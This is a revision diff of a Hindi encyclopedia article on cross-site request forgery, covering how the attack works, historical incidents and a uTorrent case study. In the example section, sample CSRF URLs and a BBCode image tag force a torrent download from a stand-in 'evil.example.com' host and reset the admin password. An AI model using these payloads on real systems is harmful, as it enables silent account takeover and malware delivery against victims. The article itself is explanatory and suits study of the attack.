क्रॉस साइट अनुरोध जालसाजी: Difference between revisions

From Vigyanwiki
No edit summary
No edit summary
 
(10 intermediate revisions by 3 users not shown)
Line 1: Line 1:
{{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}}
{{short description|Malicious website exploit where unauthorized commands are transmitted from a trusted user}}
'''क्रॉस-साइट रिक्वेस्ट जालसाजी''', जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,<ref name=Shiflett /> या [[वेबसाइट]] या [[वेब अनुप्रयोग|वेब एप्लिकेशन]] का प्रकार का मालिसियस [[शोषण (कंप्यूटर सुरक्षा)|एक्सप्लॉइट (कंप्यूटर)]] है। जहां [[उपयोगकर्ता (कंप्यूटिंग)]] से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन भरोसा करता है।<ref name=Ristic>{{cite book|author=Ristic, Ivan|title=अपाचे सुरक्षा|url=https://archive.org/details/apachesecurity00rist_938|url-access=limited|publisher=O'Reilly Media|isbn=0-596-00724-8|year=2005|page=[https://archive.org/details/apachesecurity00rist_938/page/n303 280]}}</ref> इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और [[जावास्क्रिप्ट|जावास्क्रिप्ट फ़ेच]] एक्सएमएलHttpRequests विकल्प या एक्सएमएलHttpRequestss, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से [[ क्रॉस साइट स्क्रिप्टिंग |क्रॉस साइट स्क्रिप्टिंग]] (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का लाभ उठाता है, सीएसआरएफ उस भरोसे का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।<ref name="Synopsys">{{cite web|url=https://www.synopsys.com/glossary/what-is-csrf.html|title=What is Cross-Site Request Forgery (CSRF) and How Does It Work? &#124; Synopsys }}</ref> सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।
'''क्रॉस-साइट रिक्वेस्ट जालसाजी''', जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,<ref name=Shiflett /> या [[वेबसाइट]] या [[वेब अनुप्रयोग|वेब एप्लिकेशन]] का प्रकार का मालिसियस [[शोषण (कंप्यूटर सुरक्षा)|एक्सप्लॉइट (कंप्यूटर)]] है। जहां [[उपयोगकर्ता (कंप्यूटिंग)]] से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन विश्वास करता है।<ref name=Ristic>{{cite book|author=Ristic, Ivan|title=अपाचे सुरक्षा|url=https://archive.org/details/apachesecurity00rist_938|url-access=limited|publisher=O'Reilly Media|isbn=0-596-00724-8|year=2005|page=[https://archive.org/details/apachesecurity00rist_938/page/n303 280]}}</ref> इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और [[जावास्क्रिप्ट|जावास्क्रिप्ट फ़ेच]] विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से [[ क्रॉस साइट स्क्रिप्टिंग |क्रॉस साइट स्क्रिप्टिंग]] (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के विश्वास का लाभ उठाता है, सीएसआरएफ उस विश्वास का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।<ref name="Synopsys">{{cite web|url=https://www.synopsys.com/glossary/what-is-csrf.html|title=What is Cross-Site Request Forgery (CSRF) and How Does It Work? &#124; Synopsys }}</ref> सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका अभिप्राय नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।


इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।
इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।


== विशेषताएँ ==
== विशेषताएँ ==
सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट '''कार्रवाई''' के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और [[प्रमाणीकरण]] उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के [[वेब ब्राउज़र]] में सेव्ड की गई [[HTTP|एचटीटीपी]] कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर भरोसा करती है। और इस तरह अवांछित कार्रवाई का कारण बन सकती है।
सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट '''निरूपण''' के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और [[प्रमाणीकरण|ओथेन्टिकेटेड]] उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के [[वेब ब्राउज़र]] में सेव्ड की गई [[HTTP|एचटीटीपी]] कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर विश्वास करती है। और इस तरह अवांछित निरूपण का कारण बन सकती है।


किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करता है।
किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी को दमन किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित निरूपण करता है।


अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट कार्रवाई निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।<ref name="Shiflett" /><ref>{{Cite web|url=https://portswigger.net/web-security/csrf|title=What is CSRF (Cross-site request forgery)? Tutorial & Examples|website=portswigger.net|access-date=2019-11-04}}</ref> यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।
अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट निरूपण निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।<ref name="Shiflett" /><ref>{{Cite web|url=https://portswigger.net/web-security/csrf|title=What is CSRF (Cross-site request forgery)? Tutorial & Examples|website=portswigger.net|access-date=2019-11-04}}</ref> यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।


क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध [[भ्रमित डिप्टी|कन्फ्यूज्ड डिप्टी]] का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।
क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध [[भ्रमित डिप्टी|कन्फ्यूज्ड डिप्टी]] का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।
Line 16: Line 16:


* इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की [[ऑनलाइन पहचान|ऑनलाइन आइडेंटिटी]] पर निर्भर करती हैं।
* इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की [[ऑनलाइन पहचान|ऑनलाइन आइडेंटिटी]] पर निर्भर करती हैं।
* यह उस आइडेंटिटी में साइट के भरोसे का शोषण करता है।
* यह उस आइडेंटिटी में साइट के विश्वास को दमन करता है।
* यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
* यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
* इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।
* इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।


==इतिहास==
==इतिहास==
इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका '''शोषण''' किया गया है।<ref name=Burns>{{cite web|author=Burns, Jesse|title=Cross Site Request Forgery: An Introduction To A Common Web Weakness|url=https://www.isecpartners.com/media/11961/CSRF_Paper.pdf|publisher=Information Security Partners, LLC|year=2005|access-date=2011-12-12}}</ref> क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।<ref name="Ristic"/> कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है<ref>{{cite web|author1=Christey, Steve |author2=Martin, Robert A.|title=सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)|url=http://cwe.mitre.org/documents/vuln-trends/index.html|date=May 22, 2007|publisher=MITRE Corporation|access-date=2008-06-07}}</ref> इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:
इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका दमन किया गया है।<ref name=Burns>{{cite web|author=Burns, Jesse|title=Cross Site Request Forgery: An Introduction To A Common Web Weakness|url=https://www.isecpartners.com/media/11961/CSRF_Paper.pdf|publisher=Information Security Partners, LLC|year=2005|access-date=2011-12-12}}</ref> क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का प्रमाण नहीं हो सकता है।<ref name="Ristic"/> कम से कम सार्वजनिक रूप से, और 2007 तक, दमन की कम रिपोर्ट की गई है।<ref>{{cite web|author1=Christey, Steve |author2=Martin, Robert A.|title=सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)|url=http://cwe.mitre.org/documents/vuln-trends/index.html|date=May 22, 2007|publisher=MITRE Corporation|access-date=2008-06-07}}</ref> इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:
* 2006 में [[ NetFlix |नेटफ्लिक्स वेबसाइट]] में सीएसआरएफ के लिए अनेक '''कमजोरियां''' थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।<ref>{{cite web|author1=Washkuch Jr., Frank|title=नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया|url=https://www.scmagazine.com/home/security-news/netflix-fixes-cross-site-request-forgery-hole/|date=October 17, 2006|publisher=SC Magazine|access-date=2019-02-11}}</ref>
* 2006 में [[ NetFlix |नेटफ्लिक्स वेबसाइट]] में सीएसआरएफ के लिए अनेक निर्बलता थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।<ref>{{cite web|author1=Washkuch Jr., Frank|title=नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया|url=https://www.scmagazine.com/home/security-news/netflix-fixes-cross-site-request-forgery-hole/|date=October 17, 2006|publisher=SC Magazine|access-date=2019-02-11}}</ref>
*[[आईएनजी डायरेक्ट]] का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।<ref name="zeller">{{cite web|author1=William Zeller |author2=Edward W. Felten |title=Cross-Site Request Forgeries: Exploitation and Prevention|url=https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf|access-date=29 May 2015|date=October 2008}}</ref>
*[[आईएनजी डायरेक्ट]] का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।<ref name="zeller">{{cite web|author1=William Zeller |author2=Edward W. Felten |title=Cross-Site Request Forgeries: Exploitation and Prevention|url=https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf|access-date=29 May 2015|date=October 2008}}</ref>
*लोकप्रिय वीडियो वेबसाइट [[यूट्यूब]] भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।<ref name="zeller" />
*लोकप्रिय वीडियो वेबसाइट [[यूट्यूब]] भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।<ref name="zeller" />
*McAfee सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.<ref name="Mike">{{cite web|author=Mike, Bailey|title=CSRF: Yeah, It Still Works….|url=https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bailey-mcree-csrf.pdf|publisher=DEFCON|year=2009}}</ref>
*मैक्एफ़ी सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.<ref name="Mike">{{cite web|author=Mike, Bailey|title=CSRF: Yeah, It Still Works….|url=https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bailey-mcree-csrf.pdf|publisher=DEFCON|year=2009}}</ref>
अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से <nowiki>''</nowiki>ऑब्वियस सिक्योरिटी रीज़न<nowiki>''</nowiki> का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।<ref>{{cite web |url=https://www.draytek.co.uk/support/security-advisories/kb-advisory-csrf-and-dns-dhcp-web-attacks |title=Security Advisory: CSRF & DNS/DHCP/Web Attacks |website=Draytek|date=May 2018|access-date= 18 May 2018}}</ref>
अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से <nowiki>''</nowiki>ऑब्वियस सिक्योरिटी रीज़न<nowiki>''</nowiki> का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।<ref>{{cite web |url=https://www.draytek.co.uk/support/security-advisories/kb-advisory-csrf-and-dns-dhcp-web-attacks |title=Security Advisory: CSRF & DNS/DHCP/Web Attacks |website=Draytek|date=May 2018|access-date= 18 May 2018}}</ref>
==उदाहरण==
==उदाहरण==
[[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ भेद्यता का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस]] पेज]]अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।<ref name=Shiflett>{{cite web|author= Shiflett, Chris|title= Security Corner: Cross-Site Request Forgeries|url= http://shiflett.org/articles/cross-site-request-forgeries|date= December 13, 2004|publisher= php&#124;architect (via shiflett.org)|access-date= 2008-07-03}}</ref> इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, चर्चा फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक सीएसआरएफ भेद्यता ([https://web.nvd.nist.gov/view/wln/detail?wlnId=CVE-2008-6586 CVE-2008-6586]) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल [[ स्थानीय होस्ट |लोकलहोस्ट]] :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:
[[Image:NVD-CVE-2007-1332.png|thumb|सीएसआरएफ वल्नेरेबिलिटी का वर्णन करने वाला [[राष्ट्रीय भेद्यता डेटाबेस|राष्ट्रीय वल्नेरेबिलिटी डेटाबेस]] पेज]]अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट निरूपण निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।<ref name=Shiflett>{{cite web|author= Shiflett, Chris|title= Security Corner: Cross-Site Request Forgeries|url= http://shiflett.org/articles/cross-site-request-forgeries|date= December 13, 2004|publisher= php&#124;architect (via shiflett.org)|access-date= 2008-07-03}}</ref> इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, डिस्कशन फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। यूटोरेंट में वास्तविक सीएसआरएफ वल्नेरेबिलिटी ([https://web.nvd.nist.gov/view/wln/detail?wlnId=CVE-2008-6586 CVE-2008-6586]) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल [[ स्थानीय होस्ट |लोकलहोस्ट]] :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:


;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki>
;एक .torrent फ़ाइल डाउनलोड को बाध्य करें: <nowiki>http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent</nowiki>
;UTorrent व्यवस्थापक पासवर्ड बदलें: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki>
;यूटोरेंट व्यवस्थापक पासवर्ड चेंज: <nowiki>http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin</nowiki>


फ़ोरम और [[ईमेल स्पैम]] पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित [[ utorrent |utorrent]] संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।
फ़ोरम और [[ईमेल स्पैम]] पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक निरूपण के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित [[ utorrent |यूटोरेंट]] संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।


इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः [[इंटरनेट मंच|इंटरनेट फ़ोरम]] से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए [[बीबीसीओडी]] का उपयोग करना:
इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः [[इंटरनेट मंच|इंटरनेट फ़ोरम]] से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए [[बीबीसीओडी]] का उपयोग करना:


<syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight>
<syntaxhighlight lang="bbcode">[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]</syntaxhighlight>
स्थानीय uTorrent एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर {{mono|localhost:8080}}, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है।
स्थानीय यूटोरेंट एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर {{mono|localhost:8080}}, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय यूटोरेंट वेब इंटरफ़ेस) में लॉग इन है।


